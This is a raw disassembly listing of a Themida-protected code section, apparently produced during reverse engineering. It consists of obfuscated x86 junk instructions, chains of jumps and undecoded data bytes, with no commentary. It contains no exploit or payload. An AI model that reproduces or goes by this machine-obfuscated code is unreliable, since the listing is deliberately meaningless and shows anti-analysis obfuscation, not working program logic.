'SăéÇJ',0 align 2 dw 48Fh aSq db '$éq',8,0 align 2 dw 8566h dd 0ABE99CC8h db 0A9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_549677: ; CODE XREF: Themida_:00549C05j push esi jmp loc_54CABA ; --------------------------------------------------------------------------- loc_54967D: ; CODE XREF: Themida_:005459C7j mov esi, 39CD6F99h inc esi push ebp jmp loc_5477E7 ; --------------------------------------------------------------------------- db 81h, 0C7h, 4 dd 56000000h, 0FFACAFE9h, 4B850FFh, 1000000h, 0EC8358C1h dd 240C8904h, 42474FFh, 83240C8Bh, 0F2E904C4h db 51h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5496B3: ; CODE XREF: Themida_:00548224j mov edi, edx pop edx jmp loc_549C3D ; --------------------------------------------------------------------------- db 80h dd 0E808AFEDh, 0FFBB71E9h, 0E9E089FFh, 57EEh, 4C781h, 59E90000h dd 3100000Dh, 31D731FAh, 97E94FFAh db 0CEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5496E3: ; CODE XREF: Themida_:0054FB3Fj xor [esp], ebp xor ebp, [esp] pop esp mov [esp], edi push 48EEh mov [esp], esp jmp loc_54A10E ; --------------------------------------------------------------------------- loc_5496FA: ; CODE XREF: Themida_:00548511j mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] jmp loc_547F34 ; --------------------------------------------------------------------------- a11H db '1Ë1Ůh',7,7,0 align 2 dw 1489h dd 464CBA24h, 574A5FDBh, 0E265CEBFh, 5FFA2949h, 0AED9EA81h dd 0D1314BB4h, 1D9FE95Ah, 0F3810000h, 0B88BB254h, 0E95BDE09h dd 0FFFFD1E4h ; --------------------------------------------------------------------------- loc_549744: ; CODE XREF: Themida_:005486C4j pop ecx dec esi dec esi sub esi, 0F5E7CD72h mov edx, esi pop esi push ebp mov ebp, 0F4B0DEFh shr ebp, 5 jmp loc_54BBF0 ; --------------------------------------------------------------------------- dw 8B5Dh dd 0C481240Ch, 4, 6399E950h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54976E: ; CODE XREF: Themida_:0054B8C3j pop esp mov [esp], eax jmp loc_54C6B6 ; --------------------------------------------------------------------------- aI4AgbpzZSX db '4$žGPŢÓé',7,'X',0 align 4 loc_549788: ; CODE XREF: Themida_:0054925Aj and eax, ecx pop ecx shr eax, 0Bh xor ecx, eax jmp loc_547C3A ; --------------------------------------------------------------------------- db 53h, 89h, 0E3h dd 4C381h, 55560000h, 0D3327EBDh, 81DDF72Bh, 2CCD86F5h dd 5A5EE9D4h, 0E8000000h, 0C8B5966h, 2EA1E924h, 0E9490000h dd 3D0Fh ; --------------------------------------------------------------------------- loc_5497C4: ; CODE XREF: Themida_:0054F82Dj xor ebp, 0CFF7E81Dh jmp loc_545836 ; --------------------------------------------------------------------------- db 1 dd 0C8EF81DFh, 5B392030h, 8702C783h, 248B243Ch, 66F1F624h dd 68CCB60Fh, 47FBh, 0E9241489h, 0FFFFC713h, 0F75FFB29h dd 81DBF7DBh, 0E8A517C3h, 94EF812Eh, 1020C19h, 94C781DFh dd 8B020C19h, 0C483241Ch, 4C78304h, 8B243C87h, 50532424h dd 7A1B99B8h, 640DBB1Eh, 0C3010C91h, 0CB7FE958h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_549832: ; CODE XREF: Themida_:0054E6A7j xor edx, 66DF6814h jmp loc_547477 ; --------------------------------------------------------------------------- db 0C1h, 0E2h, 2 dd 0CA81D2F7h, 75031985h, 999BEA81h, 0EEE9FD6Bh, 0F6000028h dd 4E0C0D0h, 4134ED24h, 0E54E9h db 0 ; --------------------------------------------------------------------------- loc_549861: ; CODE XREF: Themida_:00549321j xor edi, [esp] mov esp, [esp] jmp loc_5484A4 ; --------------------------------------------------------------------------- dd 8B24048Fh, 2AE92424h, 0FFFFFFDCh, 669D1C77h, 241CD259h dd 0A79CE99Ch, 0D1F7FFFFh, 3A28E9h, 24148900h, 3F0C25BAh dd 39E2815Eh, 0E974FD17h, 0FFFFCD01h, 5224248Bh, 0FFC566E9h dd 4EC81FFh, 89000000h, 76E9240Ch db 0Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_5498B7: ; CODE XREF: Themida_:0054E319j add ecx, offset byte_4A049D jmp loc_546281 ; --------------------------------------------------------------------------- loc_5498C2: ; CODE XREF: Themida_:00548F3Aj dec ch not ch add ch, 1Bh mov dh, ch pop ecx push edx mov dl, 66h push ecx mov cl, dl neg cl mov dl, cl pop ecx add dl, 0E8h inc dl jmp loc_54ABC3 ; --------------------------------------------------------------------------- db 83h, 0C4h, 4 dd 2239E9h, 5AD10100h, 0BE9CF29h, 8100001Ah, 0DB7CBCF6h dd 47C68130h, 8143DB21h, 0AD269EC6h, 52CE8121h, 501C0318h dd 34D8FB8h, 3E0C14Fh, 92DD8F7h, 31CA85FAh, 0F78958C6h dd 5FFB895Eh, 8655AF2Dh, 5D8014Ah, 4A8655AFh, 4022E9h dd 246C0100h, 0FE20E904h, 315BFFFFh, 6C815FFEh, 3EEF0424h dd 27E9250Ah, 2CFFFFCAh, 241C8B82h, 6804C483h, 55EDh, 0B5240C89h dd 6EDC039h, 0CDFEDDF6h, 0E955C580h, 0FFFFE96Eh, 81241C89h dd 4ECh, 24248900h, 4240481h, 5B000000h, 5ABDE9h, 0E7895700h dd 4BB53h, 0DF010000h, 4C7815Bh, 87000000h, 248B243Ch dd 62E95824h, 5FFFFFBAh, 5324048Bh, 0C381E389h, 4, 16C468h dd 24348900h, 4BEh, 0AA70E900h, 74FFFFFFh, 8F5E0424h, 248B2404h dd 14896624h, 9C506624h, 0FFA645E9h db 0FFh ; --------------------------------------------------------------------------- loc_5499DD: ; CODE XREF: Themida_:0054640Dj mov esi, 4 jmp loc_54B1DA ; --------------------------------------------------------------------------- db 89h dd 4C381E3h, 83000000h, 1C8704EBh, 1C895C24h, 51DAE924h dd 665C0000h, 51240C8Bh, 0BD555954h, 1C1C557Eh, 33ED814Dh dd 0F7518F0Ah, 1F1CE9D5h, 0FF530000h, 5B042474h, 0FFFE47E9h db 0FFh ; --------------------------------------------------------------------------- loc_549A25: ; CODE XREF: Themida_:0054B2F2j mov eax, 1D43003Ah neg eax jmp loc_546C9E ; --------------------------------------------------------------------------- loc_549A31: ; CODE XREF: Themida_:0054BBC5j push 4BF1h mov [esp], edx jmp loc_54A390 ; --------------------------------------------------------------------------- loc_549A3E: ; CODE XREF: Themida_:0054F167j pop eax jmp loc_546D47 ; --------------------------------------------------------------------------- dd 57DDB850h, 0C109467Fh, 56D1F758h, 6F7A9DBEh, 5EF10155h dd 0E981D9F7h, 0B1FACAF7h, 0FFF9ECE9h, 0A5B8E9FFh, 0BD55FFFFh dd 39280DA5h, 2C8BE829h, 4C48124h, 2D000000h, 41EA03A6h dd 83243C8Bh, 0F0E904C4h, 5F000003h, 31242C33h, 2C33242Ch dd 69FE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_549A9A: ; CODE XREF: Themida_:00546A67j mov esi, [esp] add esp, 4 jmp loc_54E28E ; --------------------------------------------------------------------------- db 1, 7Ch, 24h dd 0FEF9E904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_549AAE: ; CODE XREF: Themida_:0054E0F1j add [esp+4], esi pop esi pop ebp add ebp, 4 add ebp, 2 jmp loc_54C169 ; --------------------------------------------------------------------------- dw 0E981h dd 0BB0EB5F3h, 0C8BCB01h, 4C48324h, 5860E9h, 4C28100h dd 81000000h, 4C2h, 24148700h, 0A93E9h, 41F38100h, 89C90981h dd 0FE48E9DEh, 489FFFFh, 0FBC7E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_549AFE: ; CODE XREF: Themida_:00546B3Cj mov bl, ah pop eax jmp loc_547CBA ; --------------------------------------------------------------------------- dw 2D66h dd 0C9685C1Dh, 8900000Dh, 0B966240Ch, 8166433Ah, 5736DCC1h dd 31BBF66h, 0C9EF8166h, 0CF816625h, 47661D9Dh, 66DFF766h dd 35EC781h, 5FF92966h, 59C82966h, 0FFE2D1E9h db 0FFh ; --------------------------------------------------------------------------- loc_549B41: ; CODE XREF: Themida_:0054FF4Cj add eax, edi sub eax, 3F230D1Ch mov edi, [esp] add esp, 4 shr eax, 6 not eax xor eax, 660413CDh add eax, 209ADDD8h add esi, eax pop eax mov ebp, esi pop esi and ebx, ebp pop ebp or ebx, ebx jnz loc_54ECBD push ebp push edx push ecx mov ecx, 3EC54E6Ah add dword ptr [esp+4], 253E194Fh push ecx jmp loc_545230 ; --------------------------------------------------------------------------- db 1 aWvh3fPs db 'ęWVh3F\!^Pé',8,'=',0 dw 100h dd 0C2815DEAh, 4, 5C241487h, 3A2CE9h, 8B5E5B00h, 0C4832414h dd 0A46CE904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_549BB6: ; CODE XREF: Themida_:005473B5j sub edx, 4 xchg edx, [esp] pop esp mov [esp], edi push dword ptr [esp+4] pop edi pop dword ptr [esp] pop esp sub esp, 4 mov [esp], edi push 47C1h mov [esp], ebx jmp loc_54B8C8 ; --------------------------------------------------------------------------- loc_549BDF: ; CODE XREF: Themida_:0054FD8Dj not dword ptr [esp] pop ebp push ebx mov ebx, 8FEBBE77h sub ebp, 0C170B9Ah sub ebp, ebx add ebp, 0C170B9Ah pop ebx mov edi, ebp mov ebp, [esp] add esp, 4 and ecx, edi mov edi, [esp] jmp loc_549677 ; --------------------------------------------------------------------------- loc_549C0A: ; CODE XREF: Themida_:00545188j pop esp mov [esp], esi push dword ptr [esp] jmp loc_54641F ; --------------------------------------------------------------------------- dw 2E68h dd 89000026h, 89562414h, 4C681E6h, 83000000h, 348704EEh dd 24895C24h, 24048124h, 4, 5B62E9h db 0 ; --------------------------------------------------------------------------- loc_549C3D: ; CODE XREF: Themida_:005496B6j mov eax, edi pop edi jmp loc_54BBF6 ; --------------------------------------------------------------------------- db 81h, 0C3h, 4 dd 0E9000000h, 0FFFFE8FFh, 815FFA89h, 0F952A6F2h, 5AD10167h dd 0E9240C87h, 0FFFFB7E7h ; --------------------------------------------------------------------------- loc_549C64: ; CODE XREF: Themida_:00547CC1j mov [esp], eax mov ah, bl jmp loc_54D0DA ; --------------------------------------------------------------------------- dw 815Eh dd 111233C2h, 6E2C119h, 69F4CA81h, 0B8507DE2h, 0 dd 0FFD4B7E9h db 0FFh ; --------------------------------------------------------------------------- loc_549C89: ; CODE XREF: Themida_:0054D0DCj pop eax mov [edi+eax*4], cl jmp loc_54D662 ; --------------------------------------------------------------------------- dw 0FE58h dd 3E3C0CBh, 0F380C3FEh, 8204CCh, 0FCA9E9D8h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_549CA6: ; CODE XREF: Themida_:0054B9B6j mov esp, [esp] mov [esp], ecx jmp loc_54AC5E ; --------------------------------------------------------------------------- loc_549CB1: ; CODE XREF: Themida_:0054D73Dj dec edx add edx, 0B99CB7CFh mov ebp, edx pop edx push 65AEh mov [esp], ebp push dword ptr [esp] pop edx add esp, 4 pop ebp and eax, edx push dword ptr [esp] pop edx jmp loc_54DDD3 ; --------------------------------------------------------------------------- loc_549CD9: ; CODE XREF: Themida_:00546CC9j push eax mov eax, 4189560Bh or eax, 77380A9Dh dec eax not eax xor eax, 7B0807E2h inc eax add eax, 0CB15980h push eax pop ebx push dword ptr [esp] pop eax push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] jmp loc_54EB49 ; --------------------------------------------------------------------------- dd 0F02CF834h, 6602EC83h, 0B2241489h, 66D588D9h, 8BC5285Ah dd 41E92404h db 0D0h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_549D27: ; CODE XREF: Themida_:005478BEj sub esp, 4 mov [esp], edi mov edi, esp add edi, 4 push eax mov eax, 48051C9Fh xor eax, 33AD1077h add eax, 8457F31Ch push ebp mov ebp, 21851303h and ebp, 68961DC3h xor ebp, 19FD7BA7h sub edi, ebp pop ebp add edi, eax jmp loc_546E05 ; --------------------------------------------------------------------------- dd 871240BBh, 5BD90121h, 90FFF181h, 0CB01ECCEh, 55F32959h dd 7445F8BDh, 7DB95101h, 3172945Ch, 24D1E9CDh db 2 dup(0) ; --------------------------------------------------------------------------- loc_549D8A: ; CODE XREF: Themida_:0054E6D1j pop ecx add esp, 4 pop dword ptr [esp] pop eax sub esp, 4 mov [esp], ecx push 7BC3h jmp loc_54CD87 ; --------------------------------------------------------------------------- db 89h, 0E5h, 81h dd 4C5h, 4ED8100h, 87000000h, 895C242Ch, 5E9241Ch, 89FFFFEDh dd 28E9241Ch db 0C8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_549DC7: ; CODE XREF: Themida_:00547D0Fj xor ebx, edi pop edi push ebp mov ebp, 513B6D58h add ebp, 9947E12h or ebp, 51B628C2h inc ebp neg ebp xor ebp, 9FD84FDBh jmp loc_544A73 ; --------------------------------------------------------------------------- loc_549DEA: ; CODE XREF: Themida_:0054D764j push 0BBh mov [esp], eax mov eax, esp push esi mov esi, 77E453DCh xor esi, 135B1ED8h add esi, 9B40B300h add eax, esi pop esi sub eax, 4 xchg eax, [esp] jmp loc_548F02 ; --------------------------------------------------------------------------- dw 0C481h dd 4, 0FFE9008Fh, 81FFFFA1h, 5766F9F2h, 3AE94275h db 57h, 2 dup(0) ; --------------------------------------------------------------------------- loc_549E2F: ; CODE XREF: Themida_:0054A2BCj push edx mov edx, 0C8FB9550h add eax, edx pop edx xor esi, eax pop eax xor ecx, esi pop esi push 3E09h mov [esp], edi push 217376CDh jmp loc_54467F ; --------------------------------------------------------------------------- dd 243C8758h, 0C8B665Ch, 0E7895724h, 4C781h, 0C7810000h dd 2, 5C243C87h, 4EC81h, 4890000h, 0DE95324h, 81FFFFCFh dd 4ECh, 24348900h, 0B21FD968h, 24348B39h, 0E9595451h dd 0FFFFE3A7h ; --------------------------------------------------------------------------- loc_549E94: ; CODE XREF: Themida_:0054ABB4j push 32227938h pop ebx xor ebx, 35A338A1h mov ebp, ebx pop ebx add ebp, 6CD81C3Eh neg ebp jmp loc_5463EC ; --------------------------------------------------------------------------- loc_549EB0: ; CODE XREF: Themida_:00545A4Ej pop edx shl esi, 3 add esi, 9F530C96h xor edx, esi pop esi add edi, edx pop edx and eax, edi mov edi, [esp] jmp loc_545E43 ; --------------------------------------------------------------------------- dw 0EA81h dd 78A230A2h, 0FFEA58E9h, 4B9FFh, 27E90000h, 5C00002Ah dd 5F8668h, 303AE900h, 0E9560000h, 0FFFFB9CBh, 6D90B951h dd 0BE5612B4h, 5F785BA6h, 1C58C681h, 0E6C12584h, 81DEF708h dd 0FC7F33E6h, 4B85050h, 0C165217Eh, 0C14005E0h, 520502E0h dd 317DE00Eh, 0C68158C6h, 3092F091h, 575EF121h, 0FFB039E9h db 0FFh ; --------------------------------------------------------------------------- loc_549F31: ; CODE XREF: Themida_:0054EABDj mov ch, al mov bh, ch pop ecx pop eax push eax mov al, bh mov dl, al pop eax pop ebx jmp loc_54C3A3 ; --------------------------------------------------------------------------- db 1 dd 24048BC5h, 4C481h, 0BE560000h, 4, 0EFE9F501h db 0E3h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_549F5B: ; CODE XREF: Themida_:0054CB82j push ecx jmp loc_54DE28 ; --------------------------------------------------------------------------- aLHu db '$$hu!',0 dd 2A9DE900h, 6EB70000h, 305BFD00h, 686659E8h, 896647AEh dd 64B5240Ch, 2CCCE9h, 6EAE0500h, 0D82913ADh, 6EAEBE56h dd 0FE913ADh db 37h, 2 dup(0) ; --------------------------------------------------------------------------- loc_549F97: ; CODE XREF: Themida_:00548285j push edi push edx jmp loc_54A642 ; --------------------------------------------------------------------------- loc_549F9E: ; CODE XREF: Themida_:00547969j or edi, 1B8C2E5Fh shr edi, 2 xor edi, 1B4A1056h add edi, 0EE024E9Dh push 386h mov [esp], edi pop ebx mov edi, [esp] add esp, 4 mov ebp, 0FD4CA599h xor ebp, ebx jmp loc_54A329 ; --------------------------------------------------------------------------- db 1, 0C2h, 57h dd 6D5601BFh, 81D7F72Dh, 624888EFh, 2C35E99Ah, 0C3810000h dd 4, 5694E9h, 59B65200h, 3063B151h, 240C8BCEh, 4C481h dd 0EB800000h, 80F300D0h, 7AE9D0C3h, 89FFFFC3h, 0E9552424h dd 589Eh, 405E089h, 5000000h, 4, 5C240487h, 0FFDADEE9h dd 30BF57FFh, 81101F15h, 1910A7CFh, 1FDBE97Eh, 0E5C10000h dd 4BC58107h, 8915BD50h, 96BF5DEEh, 52B60622h, 0EF4194BAh dd 0E770E951h, 1F68FFFFh, 8900005Dh, 6656240Ch, 680E86BEh dd 1F4Ah, 0FFB5B3E9h db 0FFh ; --------------------------------------------------------------------------- loc_54A071: ; CODE XREF: Themida_:0054CCD5j shl ecx, 1 jmp loc_54CD3E ; --------------------------------------------------------------------------- loc_54A078: ; CODE XREF: Themida_:0054D564j mov edx, esp add edx, 4 push 756Ch jmp loc_54C294 ; --------------------------------------------------------------------------- dw 405h dd 87000000h, 815C2404h, 4C2h, 4BB5300h, 1000000h, 0CC685BDAh dd 89000076h, 74FF2414h, 8F5A0424h, 0FF5C2404h, 50582434h dd 5FAEE9h, 2C5B6600h, 0C3D8E935h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54A0C6: ; CODE XREF: Themida_:0054D480j movzx eax, al mov dx, [esp] push 3ED2h jmp loc_54C49F ; --------------------------------------------------------------------------- db 58h dd 0FFB5DEE9h, 24248BFFh, 9C2404FEh, 0FF9F39E9h, 1C5709FFh dd 9F30E95Ah, 268FFFFh, 5B000000h, 784B951h, 0D6E96DA1h dd 3300003Eh, 1C31241Ch, 0BBF8E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54A10E: ; CODE XREF: Themida_:005496F5j push eax mov eax, 4 add dword ptr [esp+4], 3BB2297Fh add [esp+4], eax sub dword ptr [esp+4], 3BB2297Fh pop eax mov edi, [esp] jmp loc_54D973 ; --------------------------------------------------------------------------- loc_54A131: ; CODE XREF: Themida_:0054BF44j push dword ptr [esp] jmp loc_5464EF ; --------------------------------------------------------------------------- db 8Bh, 2 dup(24h) dd 0EC83C80Fh, 541BE904h, 89560000h, 4C681E6h, 83000000h dd 0ABE904EEh, 8900000Ah, 0BD552414h, 12C71A36h, 34DFE9h dd 9CC88500h, 0FF9EB5E9h, 0BE5659FFh, 73673464h, 5C55E94Eh dd 68550000h, 37DF1097h, 5EDC15Dh, 7FC5814Dh, 89FE4107h dd 0EEDDE9EEh, 0E909FFFFh, 81242C8Bh, 4C4h, 6E9C100h, 873EC181h dd 0C83138ACh, 4EC8359h, 0E9243C89h, 0FFFFEB3Ah ; --------------------------------------------------------------------------- loc_54A1B4: ; CODE XREF: Themida_:0054EB09j pop esp shr eax, 0Eh xor eax, ecx push eax push 3631h jmp loc_546BB4 ; --------------------------------------------------------------------------- db 53h, 0FFh, 74h dd 34FF0424h, 0C4835B24h, 24048F04h, 4644E9h db 0 ; --------------------------------------------------------------------------- loc_54A1D9: ; CODE XREF: Themida_:0054E9B5j mov edi, 27F07D68h neg edi or edi, 18153D6h shr edi, 5 xor edi, 2ABB7C07h sub edi, 2C770295h jmp loc_54A205 ; --------------------------------------------------------------------------- dw 2C87h dd 24248B24h, 0FFFDECE9h db 0FFh ; --------------------------------------------------------------------------- loc_54A205: ; CODE XREF: Themida_:0054A1F5j mov ebx, edi jmp loc_5447B0 ; --------------------------------------------------------------------------- loc_54A20C: ; CODE XREF: Themida_:0054624Aj add esi, 258227D9h add esi, eax sub esi, 258227D9h pop eax add esi, 4 jmp loc_54FA5F ; --------------------------------------------------------------------------- dw 1F68h dd 8900000Ch, 25E9240Ch, 0FFFFFFA0h, 0E7E92C77h, 66FFFF9Dh dd 0E924048Bh, 0FFFFC060h ; --------------------------------------------------------------------------- loc_54A244: ; CODE XREF: Themida_:0054FEA5j mov eax, esp add eax, 4 jmp loc_54B69F ; --------------------------------------------------------------------------- dd 31241C33h, 1C33241Ch, 24248B24h, 47D9E9h, 4EC8300h dd 0BB241C89h, 4, 8904EC83h, 34E9241Ch, 89FFFFBBh, 8568243Ch dd 5F068544h, 6B816850h, 31584F58h, 24048BC7h, 4C481h dd 0F8890000h, 0AABA525Fh, 0E958557Eh, 0FFFFAE9Dh, 34FFD031h dd 0C4835A24h, 10886804h, 0E5E90000h db 0D7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54A2B3: ; CODE XREF: Themida_:0054647Fj shl eax, 4 shl eax, 4 add eax, 1 jmp loc_549E2F ; --------------------------------------------------------------------------- db 89h, 0Ch, 24h dd 468h, 0C2C0E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54A2CE: ; CODE XREF: Themida_:0054799Fj mov [esp], edi mov edi, 0F787A27Eh jmp loc_5479CC ; --------------------------------------------------------------------------- loc_54A2DB: ; CODE XREF: Themida_:0054FFF6j xor eax, ebx pop ebx push ecx sub esp, 4 mov [esp], edi mov edi, 70705580h sub edi, 54B55010h jmp loc_546BCF ; --------------------------------------------------------------------------- loc_54A2F8: ; CODE XREF: Themida_:0054EB4Dj add eax, 4 xchg eax, [esp] jmp loc_54E833 ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h dd 0C22E9h, 48B6600h, 5227E924h, 4810000h, 424h, 24048F00h dd 4240483h, 0FFD7A6E9h db 0FFh ; --------------------------------------------------------------------------- loc_54A329: ; CODE XREF: Themida_:00549FCCj push dword ptr [esp] pop ebx add esp, 4 sub [edi+24h], ebp pop ebp loc_54A337: ; CODE XREF: Themida_:00544167j push edx push 5CFFh mov [esp], esp add dword ptr [esp], 4 pop edx jmp loc_546E50 ; --------------------------------------------------------------------------- db 66h, 89h, 14h dd 0C677E924h, 5556FFFFh, 0BDh, 5DEE8900h, 0F787FE29h dd 17C7815Eh, 1EAD6ECh, 0F719E9FDh, 0EC83FFFFh, 49BAE904h dd 292D0000h, 0E912FB59h, 27Ch, 3511BF57h, 0E9507B75h dd 5A87h ; --------------------------------------------------------------------------- loc_54A390: ; CODE XREF: Themida_:00549A39j sub esp, 4 jmp loc_544C01 ; --------------------------------------------------------------------------- dd 4C481h, 71E90000h, 3100000Ah, 0E18951D8h, 4C181h, 0BD550000h dd 4, 335DE929h, 0C31240Ch, 998E924h, 885A0000h, 48B66E3h dd 0E6895624h, 0FFAF50E9h, 31D5F7FFh, 31FD31EFh, 47C781EFh dd 2957B695h, 0C3015FFBh, 46A8BE56h, 0F301230Eh, 0FFECFCE9h db 0FFh ; --------------------------------------------------------------------------- loc_54A3F1: ; CODE XREF: Themida_:0054AECAj add ecx, 4 add ecx, 4 jmp loc_5476B3 ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_5452B6 ; --------------------------------------------------------------------------- aIS db 'łČÜé\$',0 dw 6600h dd 5524048Bh, 1CA768h, 24248900h, 4240483h, 4BF575Dh, 0E9000000h dd 0FFFFA1C2h, 4EF81h, 3C870000h, 3C895C24h, 2BF24h, 542D0000h dd 2D02EA21h, 4F9D0B08h, 805F801h, 0E94F9D0Bh, 90Ah, 243CD35Ch dd 9BC0E99Ch, 815CFFFFh, 4C7h, 2C78100h, 87000000h, 248B243Ch dd 0B4505124h, 3107E9B1h, 0C3810000h, 5A800E31h, 0EB81CB01h dd 5A800E31h, 3C05EB81h, 81591966h, 4EBh, 0FD27E900h, 0ED81FFFFh dd 50855D33h, 2BF575Ah, 1000000h, 243C8BFDh, 81E78957h dd 4C7h, 2853E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54A4BE: ; CODE XREF: Themida_:0054E805j sub esi, 0FFFFFFFFh jmp loc_54BAAF ; --------------------------------------------------------------------------- db 0BDh, 4, 0 dd 0E8010000h, 6EBF575Dh, 0C115F208h, 0C78105EFh, 563C0E74h dd 0D5BF5755h, 0BD1C6937h, 7354D688h, 315FFD29h, 0F8015DEFh dd 1BE4E9h, 2434FF00h, 0E9240C8Bh, 0FFFFEB3Fh, 0FF9B19E9h dd 4C181FFh, 83000000h, 0C8704C1h, 0C875C24h, 24248B24h dd 9F68F9F7h, 89000007h, 9C502414h, 0FF9AF5E9h, 240481FFh dd 50E45217h, 1F8BE9h, 8F665C00h, 0DFE92404h, 2DFFFF9Ah dd 62C274B4h, 0BF57C829h, 0C75254Dh, 5C95C781h, 0EFC15106h dd 0F0E78102h, 8174CA14h, 8346BDEFh, 7ECF816Ch, 812EDB1Bh dd 0E2B8B5C7h, 3F07E9B2h, 0E9590000h, 9E6h, 4C6815Ch, 55000000h dd 5EA1B850h, 0E8C146B8h, 5E8C106h, 0E908E8C1h, 4C7Fh dd 0CC4E952h, 14890000h, 4EC3BA24h, 0D101E9DAh, 5A2434FFh dd 4C481h, 0ADE90000h db 0A3h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54A5B7: ; CODE XREF: Themida_:0054D086j inc esi push ebx mov ebx, 447C796Ah jmp loc_54847A ; --------------------------------------------------------------------------- db 5Dh dd 4EC81h, 4890000h, 3F74E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54A5D2: ; CODE XREF: Themida_:00547FAAj add ecx, esi jmp loc_54AD9C ; --------------------------------------------------------------------------- db 52h, 0BAh, 0 dd 0E9000000h, 0FFFFE653h ; --------------------------------------------------------------------------- loc_54A5E4: ; CODE XREF: Themida_:00547D82j mov edx, [esp] add esp, 4 sub esp, 4 mov [esp], ebx mov ebx, esp add ebx, 4 jmp loc_54EC3D ; --------------------------------------------------------------------------- dd 2B4FE62Dh, 5D80115h, 152B4FE6h, 0FB592905h, 0BD555B12h dd 26C1039h, 6E2DED81h, 0DDF75E40h, 4D74CD81h, 0C5811B3Ah dd 49442F84h, 8103EDC1h, 0A851ADEDh, 0E9E80114h, 0FFFFC7B2h dd 0C0A4E958h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54A642: ; CODE XREF: Themida_:00549F99j push ebp mov ebp, ecx jmp loc_548221 ; --------------------------------------------------------------------------- loc_54A64A: ; CODE XREF: Themida_:0054771Dj mov ecx, 0A726E5Ch xor ecx, 19187247h sub ecx, 136A1C17h add ebx, ecx mov ecx, [esp] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp xchg ebx, [esp] jmp loc_547B56 ; --------------------------------------------------------------------------- dd 31241C33h, 1C33241Ch, 24248B24h, 57F9F766h, 0C7815F54h dd 4, 0E58FE956h, 0E9ACFFFFh, 4573h, 31240433h, 4332404h dd 3E6EE924h, 0C2830000h, 24148704h, 0FFAB89E9h, 0C18851FFh dd 10E9CE88h db 0AFh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54A6BF: ; CODE XREF: Themida_:0054AEC2j push ecx mov ecx, 5AAB1460h sub ecx, 35A12DCFh xor ecx, 2A6BE172h add edx, ecx pop ecx add edx, ebx sub edx, 0F6207E3h sub edx, 2E926B91h pop ebx xor edx, [esp] xor [esp], edx xor edx, [esp] pop esp push dword ptr [edi+eax*4] push dword ptr [esp] pop eax push edx mov edx, esp push ebp jmp loc_54B1E2 ; --------------------------------------------------------------------------- aShvx db 'Shvx',0 dw 8900h dd 0BB532424h, 4, 4245C01h, 0FFB8E8E9h, 34B3B0FFh, 0F64C24EFh dd 2CC0FED8h, 58C5887Bh, 2099B652h, 4879E9F5h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54A72E: ; CODE XREF: Themida_:00548047j mov ch, 0ADh sub al, 51h sub al, ch add al, 51h pop ecx add al, 8 mov ch, al pop eax jmp loc_54F605 ; --------------------------------------------------------------------------- loc_54A741: ; CODE XREF: Themida_:00547F03j sub edi, eax sub edi, 5BE54D9Dh jmp loc_54F26A ; --------------------------------------------------------------------------- loc_54A74E: ; CODE XREF: Themida_:0054B224j add ebp, 4 push edi mov edi, 4 sub ebp, edi pop edi xchg ebp, [esp] mov esp, [esp] mov [esp], ebx sub dword ptr [esp], 16C201B2h pop ebp push ecx mov ecx, 16C201B2h add ebp, ecx pop ecx push ebp pop eax pop ebp sub esp, 4 mov [esp], esi push 1442h mov [esp], eax mov eax, 3156069Ah xor eax, 3D2C0544h shr eax, 6 shl eax, 2 inc eax jmp loc_5466B4 ; --------------------------------------------------------------------------- dw 31ADh dd 23BB53D8h, 810E8E1Eh, 1EBh, 0C59E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54A7B2: ; CODE XREF: Themida_:00544D21j xchg esi, [esp] xchg edx, esi not edx xchg edx, esi xchg esi, [esp] mov edi, [esp] jmp loc_54AC85 ; --------------------------------------------------------------------------- loc_54A7C6: ; CODE XREF: Themida_:0054D006j pop ecx xor ecx, 2783738Dh sub esp, 4 mov [esp], ebx jmp loc_54B9BB ; --------------------------------------------------------------------------- db 59h dd 0FFFC9DE9h, 81CD01FFh, 0F73F3C5h, 0EC835911h, 243C8904h dd 2BB53h, 0DF890000h, 0A1ED815Bh, 0E914273Fh, 31E5h, 4C4815Fh dd 1000000h, 2434FFDAh, 0E9241C8Bh, 5184h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp push esp jmp loc_54E0DC ; --------------------------------------------------------------------------- loc_54A831: ; CODE XREF: Themida_:00544603j mov ecx, [edx] mov edx, [esp] jmp loc_544D09 ; --------------------------------------------------------------------------- db 59h dd 4C481h, 0C1810000h, 4, 8704C183h, 248B240Ch, 0B533E924h dd 56B8FFFFh, 0E976DE32h, 0FFFFC532h, 5C240487h, 0E9240C8Bh dd 2BDAh, 5724048Bh, 4EC81h, 24890000h, 0E48CE924h, 3C8BFFFFh dd 0E6895624h, 4C681h, 0C6830000h, 24348704h, 11AAE95Ch dd 8B540000h, 0C4812434h, 4, 0E904EC83h, 29E7h, 951E281h dd 70E952ECh db 0F5h, 2 dup(0FFh) ; 